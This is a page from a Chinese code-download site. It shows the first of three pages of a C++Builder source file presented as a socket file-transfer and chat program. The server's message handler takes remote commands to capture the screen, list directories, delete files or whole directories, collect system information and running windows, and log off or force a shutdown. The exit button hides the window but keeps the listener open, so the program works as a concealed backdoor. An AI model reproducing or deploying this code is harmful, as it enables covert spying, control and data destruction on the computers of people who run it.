⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 transportunit.cpp

📁 this a programme that you can use socket programme
💻 CPP
📖 第 1 页 / 共 3 页
字号:
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketLookup(TObject *Sender,
      TCustomWinSocket *Socket)
{
  StatusBar->Panels->Items[0]->Text=" 正在寻找[服务端]...";
}
//---------------------------------------------------------------------------


void __fastcall TMainForm::btnListenClick(TObject *Sender)
{               //set listen item
  n=(n+1)%2;    //first time press button listen to start,and second time stop
  if(n==0)
  {
    btnConnect->Enabled=false;
    ConnectItem->Enabled=false;
    DisConnectItem->Enabled=false;
    btnDisconnect->Enabled=false;
    ClientSocket->Active=false;
    //ServerSocket->Port=6712;
    ServerSocket->Active=true;
    btnListen->Font->Color=clRed;
    btnListen->Caption="停止监听 ";
    StatusBar->Panels->Items[2]->Text=" Listenning......";
    StatusBar->Panels->Items[0]->Text=" Waiting for connections";
  }
  else
  {
    btnConnect->Enabled=true;
    btnDisconnect->Enabled=false;
    ConnectItem->Enabled=true;
    DisConnectItem->Enabled=false;
    isServer=false;
    ClientSocket->Close();
    ServerSocket->Close();
    btnListen->Font->Color=clGreen;
    btnListen->Caption="启动监听 ";
    StatusBar->Panels->Items[2]->Text=" Client Service";
    StatusBar->Panels->Items[0]->Text=" Client ready ! you can connect any Server";
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketRead(TObject *Sender,
      TCustomWinSocket *Socket)
{   //receive msg from server
   AnsiString sMsg,sMeg1[10];
   int n;
   sMsg=Socket->ReceiveText();
   Break(sMsg,sMeg1,"`");
   if(sMeg1[1]=="File")
   {
      SetColor(edtHost->Text+"请求发送文件:"+sMeg1[2]+"给你,等待你的接收!",clBlue,10);
      SetColor("接收请按[RECEIVE],否则按[CANCEL]拒绝接收!",clNavy,10);
      SaveDialog->FileName=sMeg1[2];
      cansave=true;
      ButtonStatus();
   }
   else if(sMeg1[1]=="Cancel")
   {
    SetColor("对方[拒绝]接收你发送的文件!",clRed,10);
    Name="";
   }
   else if(sMeg1[1]=="ok")
   {
     SetColor("对方[答应]接收,准备发送文件!",clGreen,10);
     Send_File();
   }
   else
   {
     SetColor(Socket->RemoteAddress+": "+sMeg1[2],clBlack,11);
   }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnExitClick(TObject *Sender)
{
  ClientSocket->Close();
  ServerSocket->Open();
  TrayIcon->Free();
  MainForm->Hide();
  ShowWindow(Application->Handle,SW_HIDE);
}
//---------------------------------------------------------------------------


void __fastcall TMainForm::ServerSocketAccept(TObject *Sender,
      TCustomWinSocket *Socket)
{    //when the server accept a client connect
  isServer=true;
  ClientIP=Socket->RemoteAddress;
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ServerSocketClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{    //receive msg from client
   AnsiString sMsg,sMeg1[10];
   sMsg=Socket->ReceiveText();
   Break(sMsg,sMeg1,"`");
   if(sMeg1[1]=="File")
   {
      SetColor(Socket->RemoteAddress+"请求发送文件:"+sMeg1[2]+"给你,等待你的接收!",clBlue,10);
      SetColor("接收请按[RECEIVE],否则按[CANCEL]拒绝接收!",clNavy,10);
      SaveDialog->FileName=sMeg1[2];
      cansave=true;
      ButtonStatus();
   }
   else if(sMeg1[1]=="Cancel")
   {
    SetColor("对方[拒绝]接收你发送的文件!",clRed,10);
    Name="";
   }
   else if(sMeg1[1]=="ok")
   {
     SetColor("对方[答应]接收,开始发送文件!",clGreen,10);
     Send_File();
   }
   else if(sMeg1[1]=="cap")
   {
     Application->ProcessMessages();
     takecap();
   }
   else if(sMeg1[1]=="dir")
   {
      dir(sMeg1[2]);
   }
   else if(sMeg1[1]=="del")
   {
      if (FileExists(sMeg1[2]))
      {
           DeleteFile(sMeg1[2]);
           ServerSocket->Socket->Connections[0]->SendText("del`");
      }
      else
      {
          DelAll(sMeg1[2]+"\\");
          ServerSocket->Socket->Connections[0]->SendText("del`");
      }
   }
   else if(sMeg1[1]=="sysinfo")
   {
      sysinfo();
   }
   else if(sMeg1[1]=="driverinfo")
   {
      driverinfo();
   }
   else if(sMeg1[1]=="running")
   {
     GetWindows();
   }
   else if(sMeg1[1]=="logoff")
   {
     ExitWindowsEx(0,0);
   }
   else if(sMeg1[1]=="shut")
   {
     Reboot();
   }
   else if(sMeg1[1]=="open")
   {
     getid();
   }
   else if(sMeg1[1]=="warning")
   {
      MessageDlg(sMeg1[2],mtWarning,TMsgDlgButtons()<<mbOK,0);
   }
   else if(sMeg1[1]=="system")
   {
      SetColor("[系统消息]:"+sMeg1[2],clRed,11);
   }
   else
   {
      SetColor(Socket->RemoteAddress+": "+sMeg1[2],clBlack,11);
   }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnCancelClick(TObject *Sender)
{     //refuse to receive file from sender
       SendMsg("SendFile:`Cancel`");
       SetColor("[拒绝]接收对方发送的文件!",clRed,10);
       SavePath="";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnSaveClick(TObject *Sender)
{
  if(SaveDialog->Execute())  //reviece file from sender
  {
      SavePath=SaveDialog->FileName;
      //MsgMemo->Lines->Add(SavePath);
      SendMsg("SendFile:`ok`");
      SetColor("[确认]接收,准备接收数据!",clGreen,10);
      cansave=false;
      ButtonStatus();
  }
  else
  {
    SetColor("[保存]取消,文件还未保存!",clGreen,10);
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::PClearItemClick(TObject *Sender)
{
   MsgMemo->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::TimerTimer(TObject *Sender)
{
    StatusBar->Panels->Items[1]->Text="TIME: "+Now();
    if(ConnectStatus==true||n==0)
    {
      m=++m%3;
      if(m==0)
      {
        Shape->Brush->Color=clYellow;
      }
      else if(m==1)
      {
        Shape->Brush->Color=clLime;
      }
      else
        Shape->Brush->Color=(TColor)0x00FF80FF;
     }
     else
     {
        Shape->Brush->Color=clYellow;
     }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormActivate(TObject *Sender)
{
     edtChat->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnAboutClick(TObject *Sender)
{      //about software
  MEMORYSTATUS meminfo;
  meminfo.dwLength=sizeof(MEMORYSTATUS);
  GlobalMemoryStatus(&meminfo);
  MsgMemo->Clear();
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" SoftWare Name : File Transport");
  MsgMemo->Lines->Add(" Version : 1.0");
  MsgMemo->Lines->Add(" PoweRed By : Hellf !Re.W");
  MsgMemo->Lines->Add(" Thank you for using my SoftWare!");
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" 内存总量:"+String(meminfo.dwTotalPhys/1024/1024)+"Mb  可用物理内存:"+String(meminfo.dwAvailPhys/1024/1024)+"Mb");
  MsgMemo->SelStart=0;
  MsgMemo->SelLength=MsgMemo->Text.Length();
  MsgMemo->SelAttributes->Color=clBlue;
  MsgMemo->SelAttributes->Size=10;
  MsgMemo->SelAttributes->Name="Bookman Old Style";    
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketClientConnect(TObject *Sender,
      TCustomWinSocket *Socket)
{
  StatusBar->Panels->Items[0]->Text=Socket->RemoteAddress+" Connected";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerSocketClientDisconnect(TObject *Sender,
      TCustomWinSocket *Socket)
{
  StatusBar->Panels->Items[0]->Text=Socket->RemoteAddress+" Disconnected";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnChatClick(TObject *Sender)
{
  if(edtChat->Text.Length()!=0)
  {
     if(isServer||ConnectStatus)
     {
        SendMsg("`msg`"+edtChat->Text);
        SetColor(LocalIPText->Caption+": "+edtChat->Text,clFuchsia,11);
        edtChat->Text="";
     }
     else
     {
       StatusBar->Panels->Items[0]->Text="不能发空信息";
     }
  }
  edtChat->SetFocus();
  Systeminfo();
}
//---------------------------------------------------------------------------
//****************************************************************************
//Another Special
//****************************************************************************
void TMainForm::Reboot()
{
  DWORD dwVersion = GetVersion();
  // Get build numbers for Windows NT or Win32s
  if (dwVersion < 0x80000000)                // Windows NT
  {
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;

   OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

   tkp.PrivilegeCount = 1;  // one privilege to set
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

   ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
   }
   else
   {
      ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
   }
}
//--------------------------------------------------------------------------------------
void TMainForm::takecap()
{
 /* if (FileExists(".\\screen.bmp"))
  {
    DeleteFile(".\\srceen.bmp");
  } */
  mystream=new TMemoryStream();
  AnsiString FilePath;
  ss=new TCanvas;
  ss->Handle=GetDC(0);
  image=new Graphics::TBitmap;
  FilePath=ExtractFilePath(Application->ExeName);
  image->Width=Screen->Width;
  image->Height=Screen->Height;
  BitBlt(image->Canvas->Handle,0,0,image->Width,image->Height,ss->Handle,0,0,SRCCOPY);
  //Copies the source rectangle directly to the destination rectangle.
  jpgstream=new TJPEGImage;
  jpgstream->Assign(image);
  jpgstream->CompressionQuality=70; //压缩质量

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -